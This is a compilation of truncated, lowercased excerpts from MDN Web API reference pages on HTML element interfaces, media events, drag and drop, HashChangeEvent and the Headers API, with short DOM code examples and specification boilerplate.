name then that element overrides the form.name property, so that you can't access it. internet explorer (ie) does not allow the name attribute of an element created using createelement() to be set or modified using the name property. syntax var string = form.name; form.name = string; example var form1name = document.getelementbyid('form1').name; if (form1name != document.form.form1) { // browser doesn't support this form of reference } specifications specification status comment html living standardthe definition of 'htmlformelement: name' in that specification. living standard ...
HTMLFrameSetElement - Web APIs
ent interface provides special properties (beyond those of the regular htmlelement interface they also inherit) for manipulating <frameset> elements. properties inherits properties from its parent, htmlelement and from windoweventhandlers. htmlframesetelement.cols is a domstring structured as a comma-seperated list specifing the width of each column inside a frameset. htmlframesetelement.rows is a domstring structured as a comma-seperated list specifing the height of each column inside a frameset. methods no specific method; inherits methods from its parent, htmlelement and from windoweventhandlers. event handlers no specific event handler; inherits event handlers from its parent, htmlelement and from windoweventhandlers. windoweventhandlers.onafterprint is an eventhandler...
HTMLHyperlinkElementUtils.origin - Web APIs
e.g "blob:https://mozilla.org" will have "https://mozilla.org". note: this feature is available in web workers. syntax string = object.origin; examples // on this page, returns the origin var result = window.location.origin; // returns:'https://developer.mozilla.org' specifications specification ...
HTMLHyperlinkElementUtils.search - Web APIs
the htmlhyperlinkelementutils.search property is a search string, also called a query string, that is usvstring containing a '?' followed by the parameters of the url. modern browsers provide urlsearchparams and url.searchparams to make it easy to parse out the parameters from the querystring. syntax string = object.search; object.search = string; examples // let an <a id="myanchor" href="https://developer.mozilla.org/docs/htmlhyperlinkelementutils.search?q=123"> element be in the document var anchor = document.getelementbyid("myanchor"); var querystring = anchor.search; // returns:'?q=123' // further parsing: let params = new urlsearchparams(querystring); let q = parseint(params.get("q")); // is the number 123 specifications specification status comment html...
HTMLIFrameElement.allowPaymentRequest - Web APIs
allowpaymentrequest value a boolean. specifications specification status comment payment request apithe definition of 'allowpaymentrequest' in that specification. candidate recommendation adds allowpaymentrequest property. html living standardthe definition of 'htmliframeelement: allowpaymentrequest' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetallowpaymentrequest exp...
contentDocument - Web APIs
example of contentdocument var iframedocument = document.getelementsbytagname("iframe")[0].contentdocument; iframedocument.body.style.backgroundcolor = "blue"; // this would turn the iframe blue. ...
HTMLIFrameElement.csp - Web APIs
content security policy that an embedded document must agree to enforce upon itself. syntax var csp = htmliframeelement.csp htmliframeelement.csp = csp value a content security policy. specifications specification status comment content security policy: embedded enforcementthe definition of 'csp' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcsp experimentalchrome ...
HTMLIFrameElement.referrerPolicy - Web APIs
ing the complete url as the referrer specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification. candidate recommendation added the referrerpolicy attribute. html living standardthe definition of 'htmliframeelement: referrerpolicy' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreferrerpolicychrome ...
HTMLIFrameElement.src - Web APIs
mple var iframe = document.createelement("iframe"); iframe.src = "/"; var body = document.getelementsbytagname("body")[0]; body.appendchild(iframe); // fetch the image using the complete url as the referrer specifications specification status comment html living standardthe definition of 'htmliframeelement: src' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsrcchrome ...
HTMLImageElement.align - Web APIs
flush against the right margin. subsequent text will flow along the image's left edge. specifications specification status comment html living standardthe definition of 'htmlimageelement.align' in that specification. living standard html 4.01 specificationthe definition of 'htmlimageelement.align' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetalignchrome ...
HTMLImageElement.border - Web APIs
her features of the border: <img src="image.png" style="border: dashed 2px #333388;"> specifications specification status comment html living standardthe definition of 'htmlimageelement.border' in that specification. living standard html 4.01 specificationthe definition of 'htmlimageelement.border' in that specification. recommendation browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborderchrome ...
HTMLImageElement.complete - Web APIs
n fixredeyecommand() { if (lightboxelem.style.display === "block" && lightboximgelem.complete) { fixredeye(lightboximgelem); } else { /* can't start doing this until the image is fully loaded */ } } specifications specification status comment html living standardthe definition of 'htmlimageelement.complete' in that specification. unknown browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcompletechrome ...
HTMLImageElement.crossOrigin - Web APIs
ot; width: 37.5em; border: 1px solid #d2d2d2; } img { float: left; padding-right: 1.5em; } output { background: rgba(100, 100, 100, 0.1); font-family: courier, monospace; width: 95%; } result specifications specification status comment html living standardthe definition of 'htmlimageelement.crossorigin' in that specification. unknown browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcrossoriginchrome ...
HTMLImageElement.height - Web APIs
output.innertext = clockimage.height; }; window.addeventlistener("load", updateheight); window.addeventlistener("resize", updateheight); result this example may be easier to try out in its own window. specifications specification status comment html living standardthe definition of 'htmlimageelement.height' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetheightchrome ...
HTMLImageElement.hspace - Web APIs
s around an <img>. specifications specification status comment html living standardthe definition of 'htmlimageelement.hspace' in that specification. living standard html 4.01 specificationthe definition of 'htmlimageelement.hspace' in that specification. recommendation provides additional details not present in the newer specification. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internethspacechrome ...
HTMLImageElement.longDesc - Web APIs
c="taco-tuesday.jpg"> </a> with that, the image is a link to the html file describing the image in more detail. specifications specification status comment html 4.01 specificationthe definition of 'htmlimageelement.longdesc' in that specification. recommendation provides an actual description of this property; the html5 spec only says it's deprecated. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetlongdescchrome ...
HTMLImageElement.lowSrc - Web APIs
not be used. instead, you should use an image format which loads progressively (such as progressive jpeg). or simply make sure your images are all well-optimized and balanced for appearance versus size. usage notes lowsrc is a strange case. it was never technically part of the html specification (it was a mozilla extension to html); however, html 5 does list it among the obsolete attributes. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetlowsrcchrome ...
HTMLImageElement.name - Web APIs
you can and should use it instead. specifications specification status comment html living standardthe definition of 'htmlimageelement.name' in that specification. living standard html 4.01 specificationthe definition of 'htmlimageelement.name' in that specification. recommendation provides additional details not available in the html 5 browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnamechrome ...
HTMLImageElement.naturalHeight - Web APIs
he <div> with the class output. this is done in response to the window's load event handler, in order to ensure that the image is available before attempting to examine its width and height. result specifications specification status comment html living standardthe definition of 'htmlimageelement.naturalheight' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnaturalheightchrome ...
HTMLImageElement.naturalWidth - Web APIs
the <div> with the class output. this is done in response to the window's load event handler, in order to ensure that the image is available before attempting to examine its width and height. result specifications specification status comment html living standardthe definition of 'htmlimageelement.naturalwidth' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetnaturalwidthchrome ...
HTMLImageElement.referrerPolicy - Web APIs
mg/logo.png'; img.referrerpolicy = 'origin'; var div = document.getelementbyid('divaround'); div.appendchild(img); // fetch the image using the origin as the referrer specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification. candidate recommendation added the referrerpolicy property. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreferrerpolicychrome ...
HTMLImageElement.useMap - Web APIs
is interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. specifications specification status comment html living standardthe definition of 'htmlimageelement.usemap' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetusemapchrome ...
HTMLImageElement.vspace - Web APIs
ablish margins around an <img>. specifications specification status comment html living standardthe definition of 'htmlimageelement.vspace' in that specification. living standard html 4.01 specificationthe definition of 'htmlimageelement.vspace' in that specification. recommendation the html 4.01 specification offers additional details. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetvspacechrome ...
HTMLImageElement.width - Web APIs
=> { output.innertext = clockimage.width; }; window.addeventlistener("load", updatewidth); window.addeventlistener("resize", updatewidth); result this example may be easier to try out in its own window. specifications specification status comment html living standardthe definition of 'htmlimageelement.width' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetwidthchrome ...
HTMLInputElement.mozGetFileNameArray() - Web APIs
the htmlinputelement.mozgetfilenamearray() method returns an array of the names of the files that were selected by the user on an html input element. note: this method is gecko-specific and is not available in other browsers. also, it throws an error if used in web pages. syntax inputelement.mozgetfilenamearray(alength, afilenames); parameters alength if specified, will receive the number of file names in the returned array. afilenames is an array into which the file names are placed. example var numfiles = 0; var filearray = {}; inputelement.mozgetfilenamearray(numfiles, filearray); ...
HTMLInputElement.mozSetFileNameArray() - Web APIs
the htmlinputelement.mozsetfilenamearray() method sets the names of the files that selected on an html input element. note: this method is gecko-specific and is not available in other browsers. also, it throws an error if used in web pages. syntax inputelement.mozsetfilenamearray(afilenames, alength); parameters afilenames is the array of file names to apply to the element. alength is the number of file names in the array. example var filearray = {"/foo/bar.txt", "/foo/foosball.txt"}; inputelement.mozsetfilenamearray(filearray, filearray.length); ...
HTMLInputElement.select() - Web APIs
input> element. html <input type="text" id="text-box" size="20" value="hello world!"> <button onclick="selecttext()">select text</button> javascript function selecttext() { const input = document.getelementbyid('text-box'); input.focus(); input.select(); } result notes calling element.select() will not necessarily focus the input, so it is often used with htmlelement.focus(). ...
HTMLInputElement.stepDown() - Web APIs
atch the form controls constraints. if the form control is non time, date, or numeric in nature, and therefore does not support the step attribute (see the list of supported input types in the the table above), or if the step value is set to any, an invalidstateerror exception is thrown. htmlinputelement.stepdown() decrements the value by (step * n), where n defaults to 1 if not specified. throws an invalid_state_err exception: if the method is not applicable to for the current type value, if the element has no step value, if the value cannot be converted to a number, if the resulting value is above the max or below the min. syntax element.stepdown( [ stepdecrement ] ); parameters stepdecrement the optional stepdecrement paremeter is a numeric value. if...
HTMLLinkElement.as - Web APIs
nting the type of content being loaded by the html link, one of "script", "style", "image", "video", "audio", "track", "font", "fetch". syntax var as = htmllinkelement.as htmllinkelement.as = as value a domstring. specifications specification status comment preloadthe definition of 'as' in that specification. candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetas experimentalchrome ...
HTMLMediaElement.buffered - Web APIs
note: this feature is not available in web workers. syntax var timerange = audioobject.buffered value a timeranges object. this object is normalized, which means that ranges are ordered, don't overlap, aren't empty, and don't touch (adjacent ranges are folded into one bigger range). ...
HTMLMediaElement.canPlayType() - Web APIs
note: this feature is not available in web workers. syntax canplayresponse = audioorvideo.canplaytype(mediatype); parameters mediatype a domstring containing the mime type of the media. return value a domstring indicating how likely it is that the media can be played. the string will be one of the following values: probably media of the type indicated by the mediatype parameter is probably playable on this device. maybe not enough information is available to determine for sure whether or not the media will play until playback is actually attempted. ...
HTMLMediaElement.controlsList - Web APIs
show on the media element whenever the user agent shows its own set of controls. the domtokenlist takes one or more of three possible values: nodownload, nofullscreen, and noremoteplayback. syntax var domtokenlist = htmlmediaelement.controlslist; value a domtokenlist. specifications specification status comment controls list api: solution outline browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcontrolslistchrome ...
HTMLMediaElement.defaultPlaybackRate - Web APIs
the htmlmediaelement.defaultplaybackrate property indicates the default playback rate for the media. syntax var dspeed = video.defaultplaybackrate; audio.defaultplaybackrate = 1.0; value a double. 1.0 is "normal speed," values lower than 1.0 make the media play slower than normal, higher values make it play faster. the value 0.0 is invalid and throws a not_supported_err exception. example var obj = document.createelement('video'); console.log(obj.defaultplaybackrate); // 1 specifications specification status comment html living standardthe definition of 'htmlmediaelement.defaultplaybackrate' in that specification. living standard no change from html5 html5the definition of 'htmlmediaelement.defaultplaybackrate' in that specification. recomme...
HTMLMediaElement: loadeddata event - Web APIs
ition of the media has finished loading; often the first frame. bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onloadeddata specification html5 media note that this event will not fire in mobile/tablet devices if data-saver is on in browser settings. examples these examples add an event listener for the htmlmediaelement's loadeddata event, then post a message when that event handler has reacted to the event firing. using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('loadeddata', (event) => { console.log('yay! the readystate just increased to ' + 'have_current_data or grea...
HTMLMediaElement: loadstart event - Web APIs
the loadstart event is fired when the browser has started to load a resource. bubbles no cancelable no interface event event handler property onloadstart examples live example html <div class="example"> <button type="button">load video</button> <video controls width="250"></video> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-areas: "button log" "video log"; } button { grid-area: button; width: 10rem; margin: .5rem 0; } vi...
HTMLMediaElement.networkState - Web APIs
network. syntax var networkstate = audioorvideo.networkstate; value an unsigned short. possible values are: constant value description network_empty 0 there is no data yet. also, readystate is have_nothing. network_idle 1 htmlmediaelement is active and has selected a resource, but is not using the network. network_loading 2 the browser is downloading htmlmediaelement data. network_no_source 3 no htmlmediaelement src found. examples this example will listen for the audio element to begin playing and then check if it is still loading data. <audio id="example" preload="auto"> <source src="sound.ogg" type="audio/ogg" /> </audio> var obj = document.getelementbyid('example'); obj.addeventlistener('playi...
HTMLMediaElement.onencrypted - Web APIs
" alignment-baseline="middle">htmlmediaelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} syntax htmlmediaelement.onencrypted = function(encrypted) { ... } specifications specification status comment encrypted media extensionsthe definition of 'onencrypted' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonencryptedchrome ...
HTMLMediaElement.onwaitingforkey - Web APIs
baseline="middle">htmlmediaelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} syntax htmlmediaelement.onwaitingforkey = function(waitingforkey) { ... } specifications specification status comment encrypted media extensionsthe definition of 'onwaitingforkey' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetonwaitingforkeychrome ...
HTMLMediaElement.playbackRate - Web APIs
s multiplied by this value to obtain the current rate, so a value of 1.0 indicates normal speed. if playbackrate is negative, the media is not played backwards. the audio is muted when the fast forward or slow motion is outside a useful range (for example, gecko mutes the sound outside the range 0.25 to 5.0). the pitch of the audio is corrected by default and is the same for every speed. some browsers implement the non-standard htmlmediaelement.preservespitch property to control this. syntax // video video.playbackrate = 1.5; // audio audio.playbackrate = 1.0; value a double. 1.0 is "normal speed," values lower than 1.0 make the media play slower than normal, higher values make it play faster. (default: 1.0) example var obj = document.createelement('video'); console.log(obj.playbac...
HTMLMediaElement: progress event - Web APIs
the progress event is fired periodically as the browser loads a resource. bubbles no cancelable no interface event event handler property onprogress examples live example html <div class="example"> <button type="button">load video</button> <video controls width="250"></video> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-areas: "button log" "video log"; } button { grid-area: button; width: 10rem; margin: .5rem 0; } video {...
HTMLMediaElement.setMediaKeys() - Web APIs
mediakeys a reference to a mediakeys object that the htmlmediaelement can use for decryption of media data during playback. returns a promise that resolves to the passed instance of mediakeys. specifications specification status comment encrypted media extensionsthe definition of 'setmediakeys()' in that specification. recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsetmediakeyschrome ...
HTMLObjectElement.contentDocument - Web APIs
syntax var document = htmlobjectelement.contentdocument; value a document. ...
HTMLObjectElement.contentWindow - Web APIs
syntax var windowproxy = htmlobjectelement.contentwindow; value a windowproxy. ...
HTMLObjectElement.name - Web APIs
syntax var string = htmlobjectelement.name; htmlobjectelement.name = string; value a domstring. ...
HTMLElement.focus() - Web APIs
be focused. the focused element is the element which will receive keyboard and similar events by default. syntax element.focus(options); // object parameter parameters options optional an optional object providing options to control aspects of the focusing process. this object may contain the following property: preventscroll optional a boolean value indicating whether or not the browser should scroll the document to bring the newly-focused element into view. a value of false for preventscroll (the default) means that the browser will scroll the element into view after focusing it. if preventscroll is set to true, no scrolling will occur. examples focus on a text field javascript focusmethod = function getfocus() { document.getelementbyid("mytextfield").foc...
HTMLOrForeignElement.tabIndex - Web APIs
der they appear. navigation proceeds from the lowest tabindex to the highest tabindex. elements that do not support the tabindex attribute or support it and assign tabindex to 0, in the order they appear. elements that are disabled do not participate in the tabbing order. values don't need to be sequential, nor must they begin with any particular value. they may even be negative, though each browser trims very large values. syntax element.tabindex = index; var index = element.tabindex; value index is an integer example const b1 = document.getelementbyid('button1'); b1.tabindex = 1; specifications specification status comment html living standardthe definition of 'tabindex' in that specification. living standard no change from document object mod...
HTMLScriptElement.referrerPolicy - Web APIs
; document.body.appendchild(script); specifications specification status comment referrer policythe definition of 'referrerpolicy attribute' in that specification. candidate recommendation added the referrerpolicy attribute. html living standardthe definition of 'htmlscriptelement: referrerpolicy' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreferrerpolicychrome ...
HTMLSelectElement.autofocus - Web APIs
will get input focus when the page loads, unless the user overrides it. only one form-associated element in a document can have this attribute specified. if there are several, the first element with the attribute set inserted, usually the first such element on the page, get the initial focus. setting this property doesn't set the focus to the associated <select> element: it merely tells the browser to focus to it when the element is inserted in the document. setting it after the insertion, that is most of the time after the document load, has no visible effect. syntaxedit abool = aselectelement.autofocus; // get the value of autofocus aselectelement.autofocus = abool; // set the value of autofocus example html <select id="myselect" autofocus> <option>option 1</option> <option>o...
HTMLSelectElement.checkValidity() - Web APIs
syntax var result = selectelt.checkvalidity(); specifications specification status comment html living standardthe definition of 'htmlselectelement.checkvalidity()' in that specification. living standard no change since the latest snapshot, html5. ...
HTMLSelectElement.selectedOptions - Web APIs
note also the <button>, whose role it is to trigger fetching the htmlcollection of selected elements using the selected property. javascript the javascript code that establishes the event handler for the button, as well as the event handler itself, looks like this: let orderbutton = document.getelementbyid("order"); let itemlist = document.getelementbyid("foods"); let outputbox = documen...
HTMLSelectElement - Web APIs
d of element and node. htmlselectelement.add() adds an element to the collection of option elements for this select element. htmlselectelement.blur() removes input focus from this element. this method is now implemented on htmlelement. htmlselectelement.checkvalidity() checks whether the element has any constraints and whether it satisfies them. if the element fails its constraints, the browser fires a cancelable invalid event at the element (and returns false). htmlselectelement.focus() gives input focus to this element. this method is now implemented on htmlelement. htmlselectelement.item() gets an item from the options collection for this <select> element. you can also access an item by specifying the index in array-style brackets or parentheses, without calling this method ex...
HTMLSlotElement.assignedElements() - Web APIs
elements (true) or not (false). defaults to false. return value an array of elements. examples let slots = this.shadowroot.queryselector('slot'); let elements = slots.assignedelements({flatten: true}); specifications specification status comment html living standardthe definition of 'assignedelements()' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetassignedelements experi...
HTMLSlotElement.name - Web APIs
which is the one that keeps having its contents changed in the example. every time the element inserted in the slot changes, we log a report to the console saying which slot has changed, and what the new node inside the slot is. specifications specification status comment html living standardthe definition of 'name' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetname experimentalchrome...
HTMLTableElement.deleteRow() - Web APIs
<tr>) from a given <table>. syntax htmltableelement.deleterow(index) parameters index index is an integer representing the row that should be deleted. however, the special index -1 can be used to remove the very last row of a table. return value no return value errors thrown if the number of the row to delete, specified by the parameter, is greater or equal to the number of available rows, or if it is negative and not equal to the special index -1, representing the last row of the table, the exception index_size_err is thrown. example this example uses javascript to delete a table's second row. html <table> <tr><td>cell 1.1</td><td>cell 1.2</td><td>cell 1.3</td></tr> <tr><td>cell 2.1</td><td>cell 2.2</td><td>cell 2.3</td></tr> <tr><td>cell 3.1</td><td>cell 3.2</td><td>ce...
HTMLTableElement.insertRow() - Web APIs
ts the row directly into the table. the row does not need to be appended separately as would be the case if document.createelement() had been used to create the new <tr> element. syntax var newrow = htmltableelement.insertrow(index); htmltableelement is a reference to an html <table> element. parameters index optional the row index of the new row. if index is -1 or equal to the number of rows, the row is appended as the last row. if index is greater than the number of rows, an indexsizeerror exception will result. if index is omitted it defaults to -1. return value newrow is an htmltablerowelement that references the new row. example this example uses insertrow(-1) to append a new row to a table. we then use htmltablerowelement.insertcell() to insert a new cell in the new row. (...
HTMLTableRowElement - Web APIs
the htmltablerowelement interface provides special properties and methods (beyond the htmlelement interface it also has available to it by inheritance) for manipulating the layout and presentation of rows in an html table. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-base...
HTMLUListElement - Web APIs
s,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlulistelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement. htmlulistelement.type is a domstring value reflecting the type and defining the kind of marker to be used to display. the values are browser dependent and have never been standardized. htmlulistelement.compact is a boolean indicating that spacing between list items should be reduced. this property reflects the compact attribute only, it doesn't consider the line-height css property used for that behavior in modern pages. methods no specific method; inherits methods from its parent, htmlelement. specifications speci...
HTMLVideoElement - Web APIs
the htmlvideoelement interface provides special properties and methods for manipulating video objects. it also inherits properties and methods of htmlmediaelement and htmlelement. the list of supported media formats varies from one browser to the other. you should either provide your video in a single format that all the relevant browsers supports, or provide multiple video sources in enough different formats that all the browsers you need to support are covered. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 23.333333333333332%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 140" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/a...
Drag Operations - Web APIs
a dragover event.) in the example here, once the data has been retrieved, we insert the string as the textual content of the target. this has the effect of inserting the dragged text where it was dropped, assuming that the drop target is an area of text such as a p or div element. in a web page, you should call the preventdefault() method of the event if you have accepted the drop, so that the browser's default handling is not triggered by the dropped data as well. for example, when a link is dragged to a web page, firefox will open the link. by cancelling the event, this behavior will be prevented. you can retrieve other types of data as well. if the data is a link, it should have the type text/uri-list. you could then insert a link into the content. function dodrop(event) { const lines...
Dragging and Dropping Multiple Items - Web APIs
mozilla supports the ability to drag multiple items using some additional non-standard methods. these are methods that mirror the types property as well as the getdata(), setdata() and cleardata() methods, however, they take an additional argument that specifies the index of the item to retrieve, modify or remove. the drag processing described in this document use the datatransfer interface. ...
Recommended Drag Types - Web APIs
the html drag and drop api supports dragging various types of data, including plain text, urls, html code, files, etc. the document describes best practices for common draggable data types. caution: all methods and properties in this document with a moz prefix, such as mozsetdataat(), will only work with gecko-based browsers. dragging text for dragging text, use the text/plain type. the second data parameter should be the dragged string. for example: event.datatransfer.setdata("text/plain", "this is text to drag"); dragging text in textboxes and selections on web pages is done automatically by the browser, so you do not need to handle it yourself. it is recommended to always add data of the text/plain type as a fallback for applications or drop targets that do not support other type...
HashChangeEvent - Web APIs
#somecoolfeature') { somecoolfeature(); } } window.addeventlistener('hashchange', locationhashchanged); polyfill there are several fallback scripts listed on the modernizr github page. basically, those scripts check the location.hash at a regular interval. here is a version that allows only one handler to be bound to the onhashchange property: ;(function(window) { // exit if the browser implements that event if ( "onhashchange" in window.document.body ) { return; } var location = window.location, oldurl = location.href, oldhash = location.hash; // check the location hash on a 100ms interval setinterval(function() { var newurl = location.href, newhash = location.hash; // if the hash has changed and a handler has been bound... if ( newh...
Headers.delete() - Web APIs
Web › API › Headers › delete
the value of guard is immutable. for security reasons, some headers can only be controller by the user agent. these headers include the forbidden header names and forbidden response header names. syntax myheaders.delete(name); parameters name the name of the http header you want to delete from the headers object. returns void. ...
Headers.get() - Web APIs
Web › API › Headers › get
aders object, it returns null. for security reasons, some headers can only be controlled by the user agent. these headers include the forbidden header names and forbidden response header names. syntax myheaders.get(name); parameters name the name of the http header whose values you want to retrieve from the headers object. if the given name is not the name of an http header, this method throws a typeerror. the name is case-insensitive. returns a bytestring sequence representing the values of the retrieved header or null if this header is not set. example creating an empty headers object is simple: var myheaders = new headers(); // currently empty myheaders.get('not-set'); // returns null you could add a header to this using headers.append, then retrieve it using get(): myheade...
Headers.has() - Web APIs
Web › API › Headers › has
